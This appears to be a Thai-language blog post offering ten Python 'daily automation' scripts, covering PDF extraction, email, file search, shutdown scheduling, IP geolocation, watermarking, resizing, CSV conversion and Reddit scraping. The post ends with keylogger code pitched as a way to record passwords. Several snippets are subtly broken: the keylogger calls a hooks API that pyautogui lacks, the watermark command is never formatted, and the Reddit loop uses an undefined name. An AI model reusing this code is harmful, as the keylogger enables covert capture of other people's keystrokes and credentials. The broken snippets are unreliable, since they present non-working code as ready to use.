คอลเลกชันสคริปต์ Python ที่มีประโยชน์ที่สุดสำหรับปัญหา Python รายวันของคุณ

การทำงานเดิมๆ ทุกวัน น่าเบื่อและเครียด เช่น การค้นหาไฟล์บนพีซี การส่งอีเมลจำนวนมาก การดึงข้อความจาก PDF และอื่นๆ อีกมากมาย มาทำงานเหล่านั้นโดยอัตโนมัติด้วย Python ในบทความนี้ ฉันจะแสดง สคริปต์ Python 10 ตัวสำหรับปัญหารายวันของคุณ ใส่บทความนี้ไว้ในรายการของคุณแล้วเริ่มกันเลย

การควบคุมความซับซ้อนเป็นหัวใจสำคัญของการเขียนโปรแกรมคอมพิวเตอร์

— ไบรอัน เคอร์นิแกน

👉แยกข้อความจาก PDF

ดึงข้อความจาก PDF ใด ๆ ได้อย่างแม่นยำ สคริปต์อัตโนมัตินี้ใช้ โมดูล PdfPlumber ซึ่งในความคิดของฉันเป็นโมดูลที่ใช้เรียกข้อความจาก PDF ทั้งหมดได้ง่ายกว่ามาก

# Extract Text from PDF
# pip install pdfplumber
import pdfplumber as plumber
def PDF_Extractor(file):
    text = ""
    pdf = plumber.open(file)
    for page in pdf.pages:
        text += page.extract_text()
    pdf.close()
    print(text)
PDF_Extractor("test.pdf")

👉ส่งอีเมลพร้อมไฟล์

ตอนนี้คุณสามารถส่งอีเมลพร้อมไฟล์แนบได้ง่ายขึ้น ด้านล่างสคริปต์ใช้ โมดูล Quick-mailerซึ่งจะช่วยให้คุณส่งเสียง วิดีโอ รูปภาพ หรือรูปแบบไฟล์ใดๆ ที่มีโค้ดไม่กี่บรรทัด

# Send Email with Astachments
# pip install quick-mailer
import mailer as email
# login 
send = email.Mailer("[email protected]", "password")
# send email with Files
send.send(receiver="[email protected]", 
          subject="Hello", 
          message="Hi its medium", 
          files=["test.py"], 
          image="test.png")

👉 ค้นหาไฟล์

กำลังมองหาไฟล์แต่รู้ว่าคุณบันทึกไว้ที่ไหนบนพีซีของคุณ สคริปต์อัตโนมัตินี้จะช่วยคุณได้ สคริปต์นี้จะสแกนไฟล์ระบบและไดรฟ์ทั้งหมดของคุณเพื่อหาไฟล์ที่คุณกำลังมองหา

# File Searcher
import os
import sys
# search file in whole system
def search_file(filename):
    for root, dirs, files in os.walk('/'):
        if filename in files:
            print(os.path.join(root, filename))
# search file in a path
def search_file_in_path(filename, path):
    for root, dirs, files in os.walk(path):
        if filename in files:
            print(os.path.join(root, filename))
    
search_file("test.png")
search_file_in_path("test.png", "D:\\folder")

👉ปิดเครื่องอัตโนมัติ

สคริปต์ง่ายๆ นี้จะทำให้กระบวนการปิดระบบของคุณเป็นแบบอัตโนมัติ สมมติว่าคุณลืมปิดพีซีของคุณ จากนั้นสคริปต์นี้จะปิดพีซีของคุณโดยอัตโนมัติตามเวลาที่ตั้งไว้

# Auto Shutdown
# pip install schedule
import schedule
import os
def shutdown():
    os.system("shutdown /s /t 1")
schedule.every().day.at("23:59").do(shutdown)

👉ดึงข้อมูลตำแหน่งทางภูมิศาสตร์ IP

จำเป็นต้องดึงข้อมูลตำแหน่งทางภูมิศาสตร์ของที่อยู่ IP ใด ๆ จากนั้นใช้สคริปต์ด้านล่าง ที่ใช้ ไม่มีค่าใช้จ่าย Web API ที่ช่วยให้คุณสามารถดึงข้อมูลตำแหน่งทางภูมิศาสตร์ของที่อยู่ Ip ได้

# Geolocation API
import urllib3
import json
IP = "Any IP Address"
api_url = "https://api.techniknews.net/ipgeo/" + IP
http = urllib3.PoolManager()
r = http.request('GET', api_url)
data = json.loads(r.data.decode('utf-8'))
print(json.dumps(data, indent=4, sort_keys=True))

👉 ลายน้ำวิดีโอ

เราได้เห็นสคริปต์สำหรับใส่ลายน้ำให้กับรูปภาพแล้ว แต่ตอนนี้สคริปต์นี้จะแสดงให้คุณเห็นวิธีที่ง่ายกว่าในการใส่ลายน้ำให้กับวิดีโอของคุณโดยใช้ โมดูล PyFFmpeg

# Video Watermarking
# pip install pyffmpeg
from pyffmpeg import *
def Watermark(video,  watermark):
    ffmpeg = FFmpeg()
    ffmpeg.options("-i {video} -i {watermark} -filter_complex overlay=1500:10 output.mp4")
    print("Watermarking video...")
Watermark("video.mp4", "watermark.png")

👉 โปรแกรมปรับขนาดรูปภาพ

ปรับขนาดรูปภาพของคุณให้เป็นความกว้างหรือความสูงโดยใช้สคริปต์อัตโนมัติด้านล่าง

# Image Resizer 
# pip install pillow
from PIL import Image
def Image_ReSizer(img_file, width, height):
    img = Image.open(img_file)
    photo = img.resize((width, height), Image.ANTIALIAS)
    photo.save("test_resized.jpg")
Image_ReSizer("test1.png", 1920, 1080)

👉 CSV อย่างง่ายเป็น JSON

ประสบปัญหาในการแปลง CSV เป็นรูปแบบ JSON ให้ลองใช้สคริปต์อัตโนมัติด้านล่างนี้ซึ่งใช้โมดูล Pandas เพื่อแปลง CSV เป็น JSON และ JSON เป็น CSV

# CSV to JSON
# pip install pandas
import pandas as pd
import json
def CSV_to_JSON(file):
    df = pd.read_csv(file)
    df.to_json('file.json', orient='records')
CSV_to_JSON('file.csv')

👉 Reddit โพสต์แยก

แยกโพสต์ Reddit ที่คุณชื่นชอบด้วยสคริปต์อัตโนมัตินี้ สคริปต์นี้ใช้ โมดูล Praw อย่างเป็นทางการที่ช่วยให้คุณสามารถดึงโพสต์ของ subreddit ใด ๆ ที่มีความคิดเห็น URL ชื่อ และอื่น ๆ อีกมากมาย

# Reddit Post Extractor
# pip install praw
from re import sub
import praw as pr
bot = pr.Reddit(client_id='CLIENT_ID', client_secret='CLIENT_SECRET')
subreddit = bot.subreddit('subreddit_name')
for sub in subreddit.hot(limit=10):
    print(sub.title)
    print(sub.url)
    print(subn.selftext)
    sub.comments.replace_more(limit=0)
    for com in sub.comments.list():
        print(com.body)

👉 ทำคีย์ล็อกเกอร์

สคริปต์นักฆ่านี้จะช่วยคุณสร้างคีย์ล็อกเกอร์ด้วยโค้ดไม่กี่บรรทัด เครื่องมือที่มีประโยชน์นี้สามารถใช้ในการบันทึกรหัสผ่านของคุณได้หากคุณลืม

# Build Keylogger
# pip install pyautogui
import pythoncom, pyautogui
def OnKeyboardEvent(event):
    f = open('keylog.txt', 'a')
    f.write(event.Key)
    f.close()
hooks_manager = pyautogui.HooksManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

👉ความคิดสุดท้าย

ฉันหวังว่าคุณจะพบสคริปต์อัตโนมัติที่มีประโยชน์ หากคุณพบว่าบทความนี้น่าสนใจ โปรดแชร์ ❤️ กับเพื่อนๆ ของคุณ เพราะการแบ่งปันคือการเอาใจใส่

การเข้ารหัส Python อย่างมีความสุข

ปลดล็อกบทความทั้งหมดของฉันและเรื่องขนาดกลางและบทความทั้งหมดโดยเข้าร่วม การสมัครสมาชิกระดับปานกลางที่นี่ หรือคลิกด้านล่างผู้อ้างอิง เพื่อที่ฉันจะได้รับการสนับสนุนด้วย😊👇



อย่าหยุดเรียนรู้ นี่คือบทความเกี่ยวกับการเขียนโปรแกรมของฉันด้านล่างนี้ในปริมาณรายวันของคุณ หวังว่าคุณจะชอบบทความเหล่านั้นเช่นกัน















































เนื้อหาเพิ่มเติมได้ที่ PlainEnglish.io ลงทะเบียนเพื่อรับ จดหมายข่าวรายสัปดาห์ฟรี ของเรา ติดตามเราบน Twitter, LinkedIn, YouTube และ Discord . สนใจ Growth Hacking ไหม ลองดูที่ วงจร